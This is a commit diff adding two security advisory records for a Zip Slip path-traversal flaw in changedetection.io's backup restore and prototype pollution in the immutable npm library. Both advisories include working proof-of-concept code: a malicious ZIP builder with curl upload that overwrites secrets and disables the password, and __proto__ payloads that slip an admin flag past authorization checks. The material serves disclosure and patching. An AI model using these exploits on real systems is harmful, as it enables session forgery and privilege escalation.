Skip to content

Commit e2837f2

Browse files
1 parent ecdd264 commit e2837f2

File tree

2 files changed

+160
-0
lines changed

2 files changed

+160
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-25g8-2mcf-fcx9",
4+
"modified": "2026-03-04T21:28:42Z",
5+
"published": "2026-03-04T21:28:42Z",
6+
"aliases": [
7+
"CVE-2026-29065"
8+
],
9+
"summary": "changedetection.io has Zip Slip vulnerability in the backup restore functionality",
10+
"details": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n with zipfile.ZipFile(filename, 'r') as zip_ref:\n # VULNERABLE: No path validation before extraction\n zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n # Escape extraction directory with ../\n zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n \n zf.writestr(\"../changedetection.json\", json.dumps({\n \"settings\": {\"application\": {\"password\": \"\"}}\n }))\n \n zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n \"url\": \"https://attacker.com/zipslip-pwned\",\n \"title\": \"🔴 ZIPSLIP-PROOF\"\n }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n -F \"zip_file=@zipslip.zip\" \\\n -F \"include_watches=y\" \\\n -F \"include_settings=y\" \n ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "changedetection.io"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.54.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.54.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/dgtlmoon/changedetection.io"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-22"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-04T21:28:42Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wf6x-7x77-mvgw",
4+
"modified": "2026-03-04T21:28:06Z",
5+
"published": "2026-03-04T21:28:06Z",
6+
"aliases": [
7+
"CVE-2026-29063"
8+
],
9+
"summary": "Immutable is vulnerable to Prototype Pollution",
10+
"details": "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API | Notes |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)` | Same code path |\n| `merge(target, source)` | Shallow variant, same assignment logic |\n| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |\n| `Map.toObject()` | Same `toObject()` implementation |\n| `Map.mergeDeep(source)` | When source is converted to plain object |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | ❌ No fix will be provided. Please upgrade to a more recent version (v4.0.0 is four years old now !) |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) => u.admin === true;\nconst isAdminByRole = (u) => u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) => b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined ← global Object.prototype NOT polluted\n```\n\n\n## Resources\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "immutable"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.3.8"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "immutable"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "5.0.0"
48+
},
49+
{
50+
"fixed": "5.1.5"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/immutable-js/immutable-js"
73+
},
74+
{
75+
"type": "WEB",
76+
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"
77+
},
78+
{
79+
"type": "WEB",
80+
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"
81+
}
82+
],
83+
"database_specific": {
84+
"cwe_ids": [
85+
"CWE-1321"
86+
],
87+
"severity": "HIGH",
88+
"github_reviewed": true,
89+
"github_reviewed_at": "2026-03-04T21:28:06Z",
90+
"nvd_published_at": null
91+
}
92+
}

0 commit comments

Comments
 (0)